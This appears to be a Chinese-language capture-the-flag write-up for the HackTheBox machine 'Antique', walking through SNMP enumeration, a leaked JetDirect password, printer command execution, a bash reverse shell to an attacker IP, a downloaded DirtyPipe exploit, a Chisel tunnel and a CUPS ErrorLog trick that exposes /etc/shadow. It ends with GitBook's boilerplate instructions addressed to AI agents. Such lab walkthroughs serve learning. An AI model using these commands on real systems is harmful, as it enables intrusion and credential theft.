> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md).

# Antique HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/400>" %}

{% hint style="warning" %}
技能：

* SNMP 枚举
* 网络打印机滥用
* CUPS 管理利用（ErrorLog）
* EXTRA ->（DirtyPipe）（CVE-2022-0847]
  {% endhint %}

## 侦察

**工作区设置：**

我们将通过创建三个文件夹来建立工作区，用于存放重要内容、漏洞利用和使用 Nmap 进行的侦察结果

<figure><img src="/files/2d7990bf0a9d1ad72ceb68fd725b062c606bd316" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/0988d39307b900c758753169ad06240528dc2196" alt="" width="563"><figcaption></figcaption></figure>

### 扫描 TCP：

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts
```

<figure><img src="/files/c3ad0da3153846fb590d5e162781d01fed539f0d" alt="" width="563"><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板（23.7777）

<figure><img src="/files/8aa8782be699056a5eff8aba56157ff3b3fbf994" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p23,7777 10.10.11.107 -oN targeted
```

<figure><img src="/files/04b5c09d45d131ff4abe79b259455f694a28b35f" alt=""><figcaption></figcaption></figure>

### 扫描 UDP：

**使用 Nmap 发现开放端口：**

我们还使用以下命令对 UDP 端口进行扫描 **Nmap**:

```bash
nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP
```

我们再次使用以下命令提取结果 `extractPorts`，并观察到端口开放 **161**，该端口被 SNMP 使用。：

<figure><img src="/files/dcef5d8ab0339964bfe493f00b86cfc935ffd28a" alt=""><figcaption></figcaption></figure>

## 探索服务

### 端口 23（Telnet）– HP JetDirect

当尝试连接到端口 **23** 通过 **Telnet**，我们遇到一个要求输入密码的 HP JetDirect 服务。我们可以尝试使用以下方式连接：

```bash
nc -vn 10.10.11.107 23
```

<figure><img src="/files/81e9f0f48459f1f867d6700faafcbef488e681fc" alt="" width="563"><figcaption></figcaption></figure>

### 端口 161（SNMP）

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

我们使用 **snmpbulkwalk** 来枚举端口上暴露的 SNMP 服务 **161**:

```bash
snmpbulkwalk -c public -v2c 10.10.11.107 .
```

<figure><img src="/files/005c435e5356a201184dfd0bd03eb7d086119dc3" alt=""><figcaption></figcaption></figure>

```bash
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
```

这会给我们一个十六进制字符串，我们将其转换为 ASCII 以获得可读内容：

{% code overflow="wrap" %}

```bash
echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/a942c374c4f6e4987586f949b03016e38f19d6b0" alt=""><figcaption></figcaption></figure></div>

这个通道包含一些有趣的信息，但没有什么能立即用于利用的。

```bash
nc -vn 10.10.11.107 23
P@ssw0rd@123!!123
```

<figure><img src="/files/bbca79271228665215f62ed518e9f70fc7aa7a61" alt=""><figcaption></figcaption></figure>

当尝试在端口 23（JetDirect）上将字符串作为密码注入时，我们会使用如下尝试：

```bash
P@ssw0rd@123!!123
```

<figure><img src="/files/1d705df9240a2fd7764a3405e6043eb69f3d51f8" alt=""><figcaption></figcaption></figure>

## 网络打印机滥用

我们已经检测到可以通过网络打印机执行命令。利用此漏洞依赖于 `exec` 命令，它允许注入远程命令。例如：

```bash
exec id
```

<figure><img src="/files/b71143a335046e5ae3f7ea273576314f7aa9b491" alt=""><figcaption></figcaption></figure>

这会返回系统凭据，并允许执行其他命令。

**反向 Shell**

我们使用以下方式建立反向 Shell **nc** 在端口 **443** 的攻击机上：

```bash
nc -nvlp 443
```

```bash
exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" 
```

<figure><img src="/files/54185dd33bce2092cfc88bed313849beaa6c1ae6" alt=""><figcaption></figcaption></figure>

接下来，我们调整 Shell 会话以获得更好的控制：

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :) <a href="#user-flag" id="user-flag"></a>

<figure><img src="/files/c38eaab05b519f833e1e9826cf620c1968496419" alt="" width="561"><figcaption></figcaption></figure>

## 权限提升

## 1. DirtyPipe 利用

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

我们检查了这台机器是否受 DirtyPipe 漏洞影响，这是一个允许修改正在运行的系统文件的漏洞。我们发现这台机器有 **gcc**，一个 C 语言编译器，可在以下位置使用 `/usr/bin/gcc`.

```bash
lp@antique:/home/lp$ which gcc
/usr/bin/gcc
```

接下来，我们使用 **Python3** 将漏洞利用代码从本地机器传输到目标机器。在本地机器上，我们启动了一个 HTTP 服务器来托管该利用代码：

```bash
python3 -m http.server
```

在受害机上，我们下载了利用代码：

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/b32859d5864d301ba284d4d971fb9b7392d1fa60" alt=""><figcaption></figcaption></figure>

一旦恢复了利用代码，我们就使用以下命令编译了这个 C 文件： **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
该利用代码通过注入密码哈希来修改 `/etc/passwd` 通过注入密码哈希来修改文件，并添加一个用户 `aaron` 并设置特定密码，所有这些都是为了实现权限提升。
{% endhint %}

<figure><img src="/files/462e2536d42815135dfdfb7734335773c43f1a4c" alt=""><figcaption></figcaption></figure>

最后，直接运行脚本：

```bash
./exploit
```

这使我们能够获得 `root`/*/* 对机器的访问权限

<figure><img src="/files/6087b0046976442132fb208f28a76aed38ab431e" alt=""><figcaption></figcaption></figure>

## 2. 使用 Chisel 进行端口转发

通过检查目标机器上的开放端口，我们发现端口 **631** （由 CUPS 使用）。使用以下命令，我们确认了 CUPS 服务的存在：

```bash
netstat -nat
```

CUPS 服务的版本是 **1.6.1** ，并且我们已经确定它可能存在漏洞。为了重定向该端口，我们使用了 **Chisel**，一个隧道工具。

<figure><img src="/files/55876d44aa4b491ef42ff7d20c96549462bb2cda" alt=""><figcaption></figcaption></figure>

首先，我们在本地机器上编译 Chisel：

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
go build -ldflags "-s -w" .
upx chisel
```

接下来，我们通过 Python3 HTTP 服务器将 Chisel 可执行文件传输到受害机器：

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="/files/0dba193051958ceef5d0912c737a41c07e1c71cb" alt=""><figcaption></figcaption></figure>

在我们的机器上，我们启动了 Chisel 服务器：

```bash
chisel server -p 8888 -reverse
```

然后，在受害机器上，我们配置 Chisel 客户端将端口 631 重定向到我们的本地机器：

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="/files/cafb298d6788e95497054901e7474bf14084f79f" alt="" width="563"><figcaption></figcaption></figure>

这使我们能够通过安全隧道访问目标机器的 CUPS Web 界面。

### CUPS 1.6.1 漏洞利用

{% embed url="<https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/escalate/cups_root_file_read.rb>" %}

使用 **cupsctl**，我们修改了 **CUPS** 服务配置以重定向 **ErrorLog** 文件到一个敏感文件，例如 **/etc/shadow**。这使得可以通过 CUPS Web 界面以 root 身份读取该文件。

修改配置的命令：

```bash
cupsctl ErrorLog=/etc/shadow
```

然后，我们通过隧道访问 CUPS 服务器上的以下 URL，进入 CUPS Web 界面：

这使得可以查看 **/etc/shadow** 文件的内容并获取 `root.txt` flag。

<figure><img src="/files/d91fe315fa9514637696f68a6edd7b75354a0be5" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/75b1df72e1309567b36dd349193e8f5bf7daadaa" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3fd9a6653bc20450e17e60d5e31ab32640ab1dd0" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
